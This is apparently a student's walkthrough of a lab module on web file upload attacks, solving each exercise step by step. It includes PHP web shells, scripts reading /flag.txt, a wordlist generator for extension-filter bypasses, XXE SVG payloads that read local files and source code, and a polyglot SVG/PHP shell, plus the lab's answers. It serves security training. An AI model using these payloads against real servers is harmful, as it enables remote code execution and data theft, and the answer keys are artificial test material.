File Upload Attacks

Arbitrary file upload vulnerabilities rank among the most severe weaknesses in web applications. These flaws allow attackers to upload malicious files to the server, which can then be executed to run arbitrary commands on the back-end. In the worst cases, this can lead to full server compromise, affecting all hosted applications, exposing sensitive data, or causing service disruptions.

Such vulnerabilities are particularly dangerous because they often bypass traditional input validation and security controls, making it possible for attackers to escalate a simple file upload into a complete takeover of the system. Proper validation, file type restrictions, and secure handling of uploaded files are critical to mitigating this threat.

Absent Validation

The simplest form of file upload vulnerability happens when a web application lacks any validation or filtering on uploaded files, effectively allowing any file type to be uploaded without restriction.

In such scenarios, an attacker can directly upload a web shell or reverse shell script to the application. Once uploaded, simply accessing the script through a browser or triggering it can allow the attacker to interact with the web shell or initiate a reverse shell, providing direct control over the server.

This type of vulnerability highlights the importance of strict file validation, proper file handling, and secure upload mechanisms to prevent unauthorized code execution.

Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.

Create a file with the script

<?php echo gethostname();?>

Now upload the file.

And open the file that you send.

http://94.237.49.23:45637/uploads/test.php

Upload Exploitation

The last stage of exploiting this web application involves uploading a malicious script written in the same language as the application—such as a web shell or reverse shell script. Once the script is uploaded, accessing its URL allows us to interact with it directly, granting control over the back-end server and the ability to execute arbitrary commands.

This step demonstrates how an insecure file upload can be escalated into a full server compromise if proper validation and security measures are not in place.

Try to exploit the upload feature to upload a web shell and get the content of /flag.txt

To read the file, use the script below and make the same processes we made above.

<?php
$arquivo = '/flag.txt';

if (file_exists($arquivo)) {
    $conteudo = file_get_contents($arquivo);
    echo "<pre>$conteudo</pre>";
} else {
    echo "Arquivo não encontrado!";
}
?>

Edit the file, copy the script and send it to the server.

Client-Side Validation

Many web applications rely solely on front-end JavaScript to validate file formats before upload—for example, preventing non-image files from being submitted.

However, since this validation occurs client-side, it can be easily bypassed. Attackers can interact directly with the server, skipping the front-end checks entirely, or modify the JavaScript code using browser developer tools to disable the validation. This highlights why relying only on client-side controls is insufficient, and why server-side validation is essential for secure file uploads.

Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)

First, open the page and use Chrome inspector to change de script.

When you load the script and click on Upload button, the frontend will not validate the extension.

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
} else {
    echo "Use assim: shell.php?cmd=ls";
}
?>

Save the file as shell.php. Now, use inspector again to get the address of the image.

Use this address to open the script that we send.

Blacklist Filters

In the previous section, we explored a web application that only enforced file type validation on the client-side, making it trivial for attackers to bypass. This underscores why all security controls should be implemented on the server-side, where they cannot be directly manipulated by users.

Even when server-side type validation exists, if it’s not implemented securely, attackers can employ various techniques to circumvent these checks and successfully upload malicious files, such as PHP scripts.

The exercise in this section builds on the previous example but introduces a blacklist of disallowed file extensions designed to block web scripts. We’ll see why relying solely on a blacklist of common extensions is insufficient to prevent arbitrary file uploads and explore multiple methods attackers use to bypass these restrictions.

Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read “/flag.txt”

In this exercise, we gonna use Burp Suite. Create a file called t.jpg and upload on the burp chrome.

Open burp and intercep the traffic or use tha HTTP History tab. Right click on it and choose send to Intruder.

On the Intruder, select .jpg and click on the Add button. Select the list /usr/share/seclists/Discovery/Web-Content/web-extensions.txt.

We will try all extensions that were allowed.

http://94.237.57.115:57250/profile_images/t.phar

It worked!!! Now we need to change the content of this file and send it again.

<?php
$file = '/flag.txt';

if (file_exists($file)) {
    $conteudo = file_get_contents($file);
    echo $conteudo;
} else {
    echo "O arquivo /flag.txt não foi encontrado.";
}
?>

Whitelist Filters

As mentioned earlier, another approach to file extension validation is using a whitelist of allowed extensions. Unlike blacklists, a whitelist is generally more secure, as the server only permits explicitly approved file types, eliminating the need to account for every uncommon extension.

That said, both blacklists and whitelists have their use cases. Blacklists are useful when an upload feature must support a wide variety of file types—such as in a file manager—while whitelists are best suited for scenarios where only a limited set of file types should be accepted. In some implementations, both methods may be combined to provide layered protection.

The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read “/flag.txt”

First, we’ll create a wordlist.

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
shell%20.php.jpg
shell.php%20.jpg
shell.php.jpg.phps%20
shell.jpg.phps%20
shell%20.phps.jpg
shell.phps%20.jpg
shell.jpg%20.php
shell%20.jpg.phps
shell.jpg.phps%20a
shell.jpg.php%20a
shell%20.php%20a
shell.php%20a.jpg
shell.php.jpg.phps%20a
shell.jpg.phps%20a
shell.jpg.php%20a
shell%00.php.jpg
shell.jpg.php%00
shell.php%00.jpg
shell.jpg.phps%00
shell.phps%00.jpg
shell.phps%00a.jpg
shell.jpg.phps%00a
shell.php%00a.jpg
shell.jpg.php%00a
shell.jpg.phps%0d0a.jpg
shell.php%0d0a.jpg
shell.jpg.php%0d0a
shell.jpg.phps%0d0a
shell.php%0d0a

We’ll use Burp in this exercise. Create a image file, send it and intercept with burp. Right click on it and choose Send to Intruder. See with extensions where allowed and use a command injection on php to get the flag.

Type Filters

Up to this point, we’ve focused on file type filters that only check the file extension. However, as demonstrated earlier, attackers can still exploit uploads—like renaming a PHP shell to shell.php.jpg—or leverage allowed extensions such as SVG for other attacks. This shows that validating extensions alone is insufficient to prevent file upload vulnerabilities.

To address this, many modern web servers and applications also verify the actual content of uploaded files to ensure it matches the expected type. While extension filters may allow multiple extensions, content-based filters usually enforce a single category (e.g., images, videos, documents) rather than using blacklists or whitelists. Web servers often provide built-in functions to determine a file’s content type.

There are two primary methods for content validation:

  1. Content-Type Header – Checking the MIME type declared in the request.
  2. File Content Inspection – Analyzing the file itself to confirm it matches the expected type.

Next, we’ll explore how to identify each type of filter and discuss techniques to bypass both.

The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at “/flag.txt”

Dont’t waste your time. Use the file name bellow with the payload.

Open the file with the command injection.

Limited File Uploads

Up to now, we’ve focused primarily on bypassing filters to achieve arbitrary file uploads, which is the main emphasis of this module at this stage. While weakly protected upload forms can be exploited to upload any file, some forms implement stronger filters that may prevent the techniques we’ve covered from working.

Even with restricted file uploads—where only certain file types are allowed—it’s still possible to leverage these uploads to launch attacks against the web application. Certain file types, such as SVG, HTML, XML, and even some image or document formats, can be manipulated to introduce new vulnerabilities when uploaded in a malicious way.

This is why fuzzing allowed file extensions is an important step in any file upload assessment. It helps identify which types of attacks are possible on the server, even when arbitrary uploads are not permitted. In the following section, we’ll explore some of these potential attack vectors.

The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read “/flag.txt”

Create a file named a.svg and put the script bellow into this file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<svg>&xxe;</svg>

Now, upload this file and open it on your browser

Reload the page and look at the source code

Try to read the source code of ‘upload.php’ to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)

Open the file that we create in the last exercise and change the payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

Upload it on the site again and on the page source, look the code of the file upload.php

The code is encrypted with base64. You can use burp to descrypt it.

./images/

Skills Assessment – File Upload Attacks

You’ve been hired to conduct a penetration test on a company’s e-commerce web application. Since the application is still in its early stages, your testing will focus specifically on any file upload forms you can locate.

Apply the techniques covered in this module to analyze how the upload form processes files and to identify any validation mechanisms in place. Then, attempt to bypass these restrictions, if possible, to achieve remote code execution on the back-end server. This exercise will help demonstrate the risks associated with improperly secured file upload functionality.

Try to exploit the upload form to read the flag found at the root directory “/”.

Create a file called file_upload.jpg and insert the payload bellow

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Send the file and get the code on bese64

Open the text field using inpector and copy it to burp suite.

Now we know the address where the pictures are saved and also it renames the filename ymd_.

./user_feedback_submissions/

Create a file named file_upload.phar.jpg with the script bellow

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?php system($_GET['cmd']); ?>

http://94.237.48.12:41666/contact/user_feedback_submissions/250821_file_upload.phar.jpg?cmd=ls+/

You found the name of the flag.

flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt

Now, change the script that we put in the image to read that file.

Decode the string with base64 and find the flag.